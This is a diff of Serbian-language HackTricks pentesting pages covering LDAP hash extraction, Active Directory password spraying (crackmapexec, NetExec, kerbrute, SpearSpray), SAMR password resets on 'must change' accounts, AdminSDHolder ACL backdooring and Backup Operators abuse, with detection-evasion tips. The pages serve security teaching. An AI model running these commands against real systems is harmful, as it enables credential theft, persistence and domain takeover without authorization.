Možete ga nabaviti sa [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||||
|
|
||||||
## Autentifikacija putem kerberos
|
## Autentifikacija putem kerberos
|
||||||
|
|
||||||
Korišćenjem `ldapsearch` možete **autentifikovati** se protiv **kerberos umesto** putem **NTLM** koristeći parametar `-Y GSSAPI`
|
Korišćenjem `ldapsearch` možete se **autentifikovati** pomoću **kerberos** umesto preko **NTLM**, koristeći parametar `-Y GSSAPI`
|
||||||
|
|
||||||
## POST
|
## POST
|
||||||
|
|
||||||
Ako možete pristupiti datotekama gde se nalaze baze podataka (mogu biti u _/var/lib/ldap_). Možete izvući hešove koristeći:
|
Ako možete pristupiti fajlovima u kojima se nalaze baze podataka (mogu biti u _/var/lib/ldap_). Možete izvući hashes koristeći:
|
||||||
```bash
|
```bash
|
||||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||||
```
|
```
|
||||||
Možete nahraniti john sa hash-om lozinke (od '{SSHA}' do 'structural' bez dodavanja 'structural').
|
Možete proslediti john password hash (od '{SSHA}' do 'structural' bez dodavanja 'structural').
|
||||||
|
|
||||||
### Konfiguracione datoteke
|
### Konfiguracioni fajlovi
|
||||||
|
|
||||||
- General
|
- Opšte
|
||||||
- containers.ldif
|
- containers.ldif
|
||||||
- ldap.cfg
|
- ldap.cfg
|
||||||
- ldap.conf
|
- ldap.conf
|
||||||
@ -335,7 +360,7 @@ Možete nahraniti john sa hash-om lozinke (od '{SSHA}' do 'structural' bez dodav
|
|||||||
- Sun ONE Directory Server 5.1
|
- Sun ONE Directory Server 5.1
|
||||||
- 75sas.ldif
|
- 75sas.ldif
|
||||||
|
|
||||||
## HackTricks Automatske Komande
|
## HackTricks automatske komande
|
||||||
```
|
```
|
||||||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 389,636 #Comma separated if there is more than one.
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
||||||
@ -378,4 +403,10 @@ Entry_7:
|
|||||||
Name: Netexec LDAP BloodHound
|
Name: Netexec LDAP BloodHound
|
||||||
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
||||||
```
|
```
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
|
||||||
|
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -5,16 +5,16 @@
|
|||||||
|
|
||||||
## **Password Spraying**
|
## **Password Spraying**
|
||||||
|
|
||||||
Kada pronađete nekoliko **valid usernames** možete pokušati najčešće **common passwords** (imajte na umu password policy okruženja) sa svakim od otkrivenih korisnika.\
|
Kada pronađete nekoliko **važećih korisničkih imena** možete za svako otkriveno korisničko ime pokušati najčešće **lozinke** (imajući u vidu politiku lozinki okruženja).\
|
||||||
Po **default** minimalna **password** **length** je **7**.
|
Po **podrazumevanju** **minimalna** **dužina** **lozinke** je **7**.
|
||||||
|
|
||||||
Liste **common usernames** takođe mogu biti korisne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
Liste čestih korisničkih imena takođe mogu biti korisne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||||
|
|
||||||
Imajte na umu da biste mogli **lockout some accounts if you try several wrong passwords** (po **default** više od 10).
|
Obratite pažnju da **biste mogli zaključati neke naloge ako pokušate nekoliko pogrešnih lozinki** (po podrazumevanju više od 10).
|
||||||
|
|
||||||
### Get password policy
|
### Dobijanje politike lozinki
|
||||||
|
|
||||||
Ako imate user credentials ili shell kao domain user možete **get the password policy with**:
|
Ako imate korisničke kredencijale ili shell kao domain user možete **dobiti politiku lozinki pomoću**:
|
||||||
```bash
|
```bash
|
||||||
# From Linux
|
# From Linux
|
||||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||||
@ -31,15 +31,30 @@ net accounts
|
|||||||
|
|
||||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||||
```
|
```
|
||||||
### Eksploatacija sa Linuxa (ili svih)
|
### Exploitation sa Linuxa (ili sa svih sistema)
|
||||||
|
|
||||||
- Korišćenje **crackmapexec:**
|
- Koristeći **crackmapexec:**
|
||||||
```bash
|
```bash
|
||||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||||
# Local Auth Spray (once you found some local admin pass or hash)
|
# Local Auth Spray (once you found some local admin pass or hash)
|
||||||
## --local-auth flag indicate to only try 1 time per machine
|
## --local-auth flag indicate to only try 1 time per machine
|
||||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||||
```
|
```
|
||||||
|
- Korišćenje **NetExec (naslednik CME)** za ciljano, diskretno spraying preko SMB/WinRM:
|
||||||
|
```bash
|
||||||
|
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
|
||||||
|
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
|
||||||
|
|
||||||
|
# Spray a single candidate password against harvested users over SMB
|
||||||
|
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
|
||||||
|
--continue-on-success --no-bruteforce --shares
|
||||||
|
|
||||||
|
# Validate a hit over WinRM (or use SMB exec methods)
|
||||||
|
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
|
||||||
|
|
||||||
|
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
|
||||||
|
sudo ntpdate <DC_FQDN>
|
||||||
|
```
|
||||||
- Korišćenje [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
- Korišćenje [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||||
```bash
|
```bash
|
||||||
# Password Spraying
|
# Password Spraying
|
||||||
@ -47,16 +62,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
# Brute-Force
|
# Brute-Force
|
||||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||||
```
|
```
|
||||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(možete navesti broj pokušaja da biste izbegli zaključavanje naloga):**_
|
- [**spray**](https://github.com/Greenwolf/Spray) _**(možete navesti broj pokušaja da izbegnete lockouts):**_
|
||||||
```bash
|
```bash
|
||||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||||
```
|
```
|
||||||
- Korišćenje [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIJE PREPORUČENO, PONEKAD NE RADI
|
- Korišćenje [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NE PREPORUČUJE SE, PONEKAD NE RADI
|
||||||
```bash
|
```bash
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||||
```
|
```
|
||||||
- Korišćenjem modula `scanner/smb/smb_login` u okviru **Metasploit**:
|
- Sa modulom `scanner/smb/smb_login` iz **Metasploit**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -69,7 +84,7 @@ done
|
|||||||
```
|
```
|
||||||
#### Sa Windowsa
|
#### Sa Windowsa
|
||||||
|
|
||||||
- Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom koja sadrži brute module:
|
- Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom koja uključuje brute modul:
|
||||||
```bash
|
```bash
|
||||||
# with a list of users
|
# with a list of users
|
||||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||||
@ -77,20 +92,20 @@ done
|
|||||||
# check passwords for all users in current domain
|
# check passwords for all users in current domain
|
||||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||||
```
|
```
|
||||||
- Uz [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Podrazumevano može da generiše korisnike iz domena i preuzme politiku lozinki iz domena i ograniči pokušaje u skladu sa njom):
|
- Uz [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Podrazumevano može da generiše korisnike iz domena i preuzima politiku lozinki iz domena i ograničava pokušaje u skladu s njom):
|
||||||
```bash
|
```bash
|
||||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||||
```
|
```
|
||||||
- Sa [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
- Pomoću [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
||||||
```
|
```
|
||||||
Invoke-SprayEmptyPassword
|
Invoke-SprayEmptyPassword
|
||||||
```
|
```
|
||||||
### Identifikujte i preuzmite naloge "Password must change at next logon" (SAMR)
|
### Identifikujte i preuzmite naloge sa "Password must change at next logon" (SAMR)
|
||||||
|
|
||||||
Nisko-bučna tehnika je izvršiti password spraying sa neškodljivom/praznom lozinkom i detektovati naloge koji vraćaju STATUS_PASSWORD_MUST_CHANGE, što ukazuje da je lozinka prisilno istekla i može se promeniti bez poznavanja stare.
|
Niskoprofilna tehnika je da se izvrši password spray korišćenjem bezopasne/prazne lozinke i identifikuju nalozi koji vraćaju STATUS_PASSWORD_MUST_CHANGE, što ukazuje da je lozinka prisilno istekla i da se može promeniti bez poznavanja stare.
|
||||||
|
|
||||||
Workflow:
|
Workflow:
|
||||||
- Enumerišite korisnike (RID brute via SAMR) da biste napravili listu ciljeva:
|
- Izlistajte korisnike (RID brute via SAMR) da biste sastavili listu ciljeva:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||||
@ -99,12 +114,12 @@ Workflow:
|
|||||||
# NetExec (null/guest) + RID brute to harvest users
|
# NetExec (null/guest) + RID brute to harvest users
|
||||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||||
```
|
```
|
||||||
- Spray praznu password i nastavi sa hits kako bi uhvatio naloge koji moraju da promene pri sledećem logonu:
|
- Spray praznu password i nastavi na hits da bi uhvatio naloge koji moraju da promene password pri next logon:
|
||||||
```bash
|
```bash
|
||||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||||
```
|
```
|
||||||
- Za svaki hit, promenite lozinku preko SAMR-a pomoću modula NetExec (stara lozinka nije potrebna kada je "must change" postavljeno):
|
- Za svaki hit, promenite lozinku preko SAMR-a pomoću NetExec-ovog modula (stara lozinka nije potrebna kada je "must change" postavljeno):
|
||||||
```bash
|
```bash
|
||||||
# Strong complexity to satisfy policy
|
# Strong complexity to satisfy policy
|
||||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||||
@ -114,24 +129,24 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
|||||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||||
```
|
```
|
||||||
Operativne napomene:
|
Operativne napomene:
|
||||||
- Uverite se da je sat na vašem hostu sinhronizovan sa DC pre operacija zasnovanih na Kerberosu: `sudo ntpdate <dc_fqdn>`.
|
- Uverite se da je sat na vašem hostu sinhronizovan sa DC pre Kerberos-based operations: `sudo ntpdate <dc_fqdn>`.
|
||||||
- A [+] without (Pwn3d!) u nekim modulima (npr., RDP/WinRM) znači da su creds validni, ali nalog nema prava za interaktivnu prijavu.
|
- Oznaka [+] bez (Pwn3d!) u nekim modulima (npr., RDP/WinRM) znači da su creds validni, ali nalogu nedostaju prava za interaktivno prijavljivanje.
|
||||||
|
|
||||||
## Brute Force
|
## Brute Force
|
||||||
```bash
|
```bash
|
||||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||||
```
|
```
|
||||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
### Kerberos pre-auth spraying sa LDAP targeting i PSO-aware throttling (SpearSpray)
|
||||||
|
|
||||||
Kerberos pre-auth–based spraying smanjuje šum u odnosu na SMB/NTLM/LDAP bind pokušaje i bolje se uklapa u AD lockout politike. SpearSpray kombinuje LDAP-driven targeting, pattern engine i svest o politikama (domain policy + PSOs + badPwdCount buffer) da bi spray-ovao precizno i bezbedno. Takođe može označiti kompromitovane principe u Neo4j za BloodHound pathing.
|
Kerberos pre-auth–based spraying smanjuje buku u odnosu na SMB/NTLM/LDAP bind pokušaje i bolje se slaže sa AD politikama zaključavanja. SpearSpray kombinuje ciljanje vođeno LDAP-om, mehanizam šablona i svesnost o politikama (domain policy + PSOs + badPwdCount buffer) kako bi vršio spray precizno i bezbedno. Takođe može tagovati kompromitovane naloge u Neo4j za BloodHound pathing.
|
||||||
|
|
||||||
Key ideas:
|
Key ideas:
|
||||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
- Otkriće korisnika preko LDAP-a sa straničenjem i LDAPS podrškom, opcionalno koristeći prilagođene LDAP filtere.
|
||||||
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
|
- Politika zaključavanja domena + PSO-svesno filtriranje da ostavi konfigurabilni rezervni broj pokušaja (threshold) i izbegne zaključavanje korisnika.
|
||||||
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
|
- Kerberos pre-auth validation koristeći brze gssapi bindings (generiše 4768/4771 na DC-ima umesto 4625).
|
||||||
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
|
- Generisanje lozinki zasnovano na šablonima, po korisniku, koristeći promenljive kao što su imena i vremenske vrednosti izvedene iz pwdLastSet svakog korisnika.
|
||||||
- Throughput control with threads, jitter, and max requests per second.
|
- Kontrola propusnosti pomoću niti, jitter-a i max zahteva po sekundi.
|
||||||
- Optional Neo4j integration to mark owned users for BloodHound.
|
- Opcionalna Neo4j integracija za označavanje owned korisnika za BloodHound.
|
||||||
|
|
||||||
Basic usage and discovery:
|
Basic usage and discovery:
|
||||||
```bash
|
```bash
|
||||||
@ -174,17 +189,17 @@ Pregled sistema obrazaca (patterns.txt):
|
|||||||
{samaccountname}
|
{samaccountname}
|
||||||
{extra}{separator}{year}{suffix}
|
{extra}{separator}{year}{suffix}
|
||||||
```
|
```
|
||||||
Dostupne varijable uključuju:
|
Dostupne promenljive uključuju:
|
||||||
- {name}, {samaccountname}
|
- {name}, {samaccountname}
|
||||||
- Vremenske vrednosti iz pwdLastSet svakog korisnika (ili whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
- Vremenske vrednosti iz pwdLastSet (ili whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||||
- Pomoćne varijable za sastav i org token: {separator}, {suffix}, {extra}
|
- Pomoćne funkcije za kompoziciju i org token: {separator}, {suffix}, {extra}
|
||||||
|
|
||||||
Operativne napomene:
|
Operativne napomene:
|
||||||
- Preporučljivo je upitovati PDC-emulator sa -dc da biste pročitali najpouzdanije badPwdCount i informacije vezane za politiku.
|
- Preferirajte upite ka PDC-emulatoru sa -dc da pročitate najautoritatilniji badPwdCount i informacije vezane za policy.
|
||||||
- Resetovanje badPwdCount se pokreće pri sledećem pokušaju nakon observation window; koristite threshold i timing da ostanete bezbedni.
|
- badPwdCount reset-i se pokreću pri sledećem pokušaju nakon posmatranog vremenskog okvira; koristite threshold i timing da ostanete bezbedni.
|
||||||
- Kerberos pre-auth attempts se evidentiraju kao 4768/4771 u DC telemetry; koristite jitter i rate-limiting da se uklopite.
|
- Kerberos pre-auth attempts se pojavljuju kao 4768/4771 u DC telemetry; koristite jitter i rate-limiting da se uklopite.
|
||||||
|
|
||||||
> Savet: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
> Savet: SpearSpray’s default LDAP page size is 200; prilagodite sa -lps po potrebi.
|
||||||
|
|
||||||
## Outlook Web Access
|
## Outlook Web Access
|
||||||
|
|
||||||
@ -196,7 +211,7 @@ Postoji više alata za p**assword spraying outlook**.
|
|||||||
- Sa [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
- Sa [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||||
- Sa [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
- Sa [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||||
|
|
||||||
Da biste koristili bilo koji od ovih alata, potrebna vam je lista korisnika i lozinka ili mala lista lozinki za password spraying.
|
Da biste koristili bilo koji od ovih alata, potrebna vam je lista korisnika i jedan password ili mala lista passwords za spray.
|
||||||
```bash
|
```bash
|
||||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||||
[x] Failed: larsson:Summer2020
|
[x] Failed: larsson:Summer2020
|
||||||
@ -215,7 +230,7 @@ Da biste koristili bilo koji od ovih alata, potrebna vam je lista korisnika i lo
|
|||||||
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
||||||
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
||||||
|
|
||||||
## Reference
|
## Izvori
|
||||||
|
|
||||||
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
||||||
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
||||||
@ -227,6 +242,7 @@ Da biste koristili bilo koji od ovih alata, potrebna vam je lista korisnika i lo
|
|||||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,75 +1,75 @@
|
|||||||
# Privileged Groups
|
# Privilegovane grupe
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Pažnje vredne grupe sa administratorskim privilegijama
|
## Dobro poznate grupe sa administrativnim privilegijama
|
||||||
|
|
||||||
- **Administratori**
|
- **Administrators**
|
||||||
- **Administratori domena**
|
- **Domain Admins**
|
||||||
- **Administratori preduzeća**
|
- **Enterprise Admins**
|
||||||
|
|
||||||
## Operatori naloga
|
## Account Operators
|
||||||
|
|
||||||
Ova grupa ima ovlašćenje da kreira naloge i grupe koje nisu administratori na domenu. Pored toga, omogućava lokalno prijavljivanje na Kontroler domena (DC).
|
Ova grupa ima ovlašćenje da kreira naloge i grupe koje nisu administratori na domenu. Pored toga, omogućava lokalnu prijavu na Domain Controller (DC).
|
||||||
|
|
||||||
Da bi se identifikovali članovi ove grupe, izvršava se sledeća komanda:
|
Da biste identifikovali članove ove grupe, izvršava se sledeća komanda:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||||
```
|
```
|
||||||
Dodavanje novih korisnika je dozvoljeno, kao i lokalna prijava na DC01.
|
Dodavanje novih korisnika je dozvoljeno, kao i lokalna prijava na DC.
|
||||||
|
|
||||||
## AdminSDHolder grupa
|
## AdminSDHolder grupa
|
||||||
|
|
||||||
Access Control List (ACL) grupe **AdminSDHolder** je ključna jer postavlja dozvole za sve "zaštićene grupe" unutar Active Directory-a, uključujući grupe sa visokim privilegijama. Ovaj mehanizam osigurava bezbednost ovih grupa sprečavajući neovlašćene izmene.
|
Lista kontrole pristupa (ACL) grupe **AdminSDHolder** je ključna jer postavlja dozvole za sve "zaštićene grupe" u Active Directory, uključujući grupe sa visokim privilegijama. Ovaj mehanizam osigurava sigurnost ovih grupa sprečavajući neovlašćene izmene.
|
||||||
|
|
||||||
Napadač bi mogao da iskoristi ovo modifikovanjem ACL-a grupe **AdminSDHolder**, dodeljujući pune dozvole standardnom korisniku. Ovo bi efikasno dalo tom korisniku punu kontrolu nad svim zaštićenim grupama. Ako se dozvole ovog korisnika promene ili uklone, one bi se automatski ponovo uspostavile u roku od sat vremena zbog dizajna sistema.
|
Napadač bi mogao iskoristiti ovo tako što bi izmenio ACL grupe **AdminSDHolder**, dodeljujući pune dozvole običnom korisniku. To bi tom korisniku efektivno dalo potpunu kontrolu nad svim zaštićenim grupama. Ako su dozvole tog korisnika izmenjene ili uklonjene, biće automatski vraćene u roku od sat vremena zbog dizajna sistema.
|
||||||
|
|
||||||
Komande za pregled članova i modifikaciju dozvola uključuju:
|
Komande za pregled članova i izmenu dozvola uključuju:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||||
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
||||||
```
|
```
|
||||||
Dostupan je skript za ubrzavanje procesa vraćanja: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
Skripta je dostupna za ubrzanje procesa obnove: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||||
|
|
||||||
Za više detalja, posetite [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
Za više detalja posetite [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||||
|
|
||||||
## AD Recycle Bin
|
## AD Recycle Bin
|
||||||
|
|
||||||
Članstvo u ovoj grupi omogućava čitanje obrisanih objekata Active Directory-a, što može otkriti osetljive informacije:
|
Članstvo u ovoj grupi omogućava čitanje obrisanih Active Directory objekata, što može otkriti osetljive informacije:
|
||||||
```bash
|
```bash
|
||||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||||
```
|
```
|
||||||
### Pristup Domenskom Kontroloru
|
### Pristup Domain Controlleru
|
||||||
|
|
||||||
Pristup datotekama na DC-u je ograničen osim ako korisnik nije deo grupe `Server Operators`, što menja nivo pristupa.
|
Pristup fajlovima na DC-u je ograničen osim ako korisnik nije član grupe `Server Operators`, koja menja nivo pristupa.
|
||||||
|
|
||||||
### Eskalacija Privilegija
|
### Eskalacija privilegija
|
||||||
|
|
||||||
Korišćenjem `PsService` ili `sc` iz Sysinternals, može se pregledati i modifikovati dozvole servisa. Grupa `Server Operators`, na primer, ima potpunu kontrolu nad određenim servisima, što omogućava izvršavanje proizvoljnih komandi i eskalaciju privilegija:
|
Korišćenjem `PsService` ili `sc` iz Sysinternals, moguće je pregledati i izmeniti dozvole servisa. Grupa `Server Operators`, na primer, ima potpunu kontrolu nad određenim servisima, što omogućava izvršavanje proizvoljnih komandi i eskalaciju privilegija:
|
||||||
```cmd
|
```cmd
|
||||||
C:\> .\PsService.exe security AppReadiness
|
C:\> .\PsService.exe security AppReadiness
|
||||||
```
|
```
|
||||||
Ova komanda otkriva da `Server Operators` imaju potpuni pristup, omogućavajući manipulaciju servisima za povišene privilegije.
|
Ova komanda pokazuje da `Server Operators` imaju potpuni pristup, što omogućava manipulaciju servisima za eskalaciju privilegija.
|
||||||
|
|
||||||
## Backup Operators
|
## Backup Operators
|
||||||
|
|
||||||
Članstvo u grupi `Backup Operators` pruža pristup `DC01` fajl sistemu zbog privilegija `SeBackup` i `SeRestore`. Ove privilegije omogućavaju pretragu foldera, listanje i kopiranje fajlova, čak i bez eksplicitnih dozvola, koristeći `FILE_FLAG_BACKUP_SEMANTICS` flag. Korišćenje specifičnih skripti je neophodno za ovaj proces.
|
Članstvo u grupi `Backup Operators` omogućava pristup fajl sistemu `DC01` zbog privilegija `SeBackup` i `SeRestore`. Ove privilegije omogućavaju prelaženje kroz direktorijume, listanje i kopiranje fajlova, čak i bez eksplicitnih dozvola, koristeći flag `FILE_FLAG_BACKUP_SEMANTICS`. Za ovaj proces je neophodno koristiti specifične skripte.
|
||||||
|
|
||||||
Da biste listali članove grupe, izvršite:
|
Da biste izlistali članove grupe, izvršite:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||||
```
|
```
|
||||||
### Lokalni napad
|
### Lokalni napad
|
||||||
|
|
||||||
Da bi se iskoristile ove privilegije lokalno, koriste se sledeći koraci:
|
Da biste lokalno iskoristili ove privilegije, primenjuju se sledeći koraci:
|
||||||
|
|
||||||
1. Uvezi potrebne biblioteke:
|
1. Uvezi potrebne biblioteke:
|
||||||
```bash
|
```bash
|
||||||
Import-Module .\SeBackupPrivilegeUtils.dll
|
Import-Module .\SeBackupPrivilegeUtils.dll
|
||||||
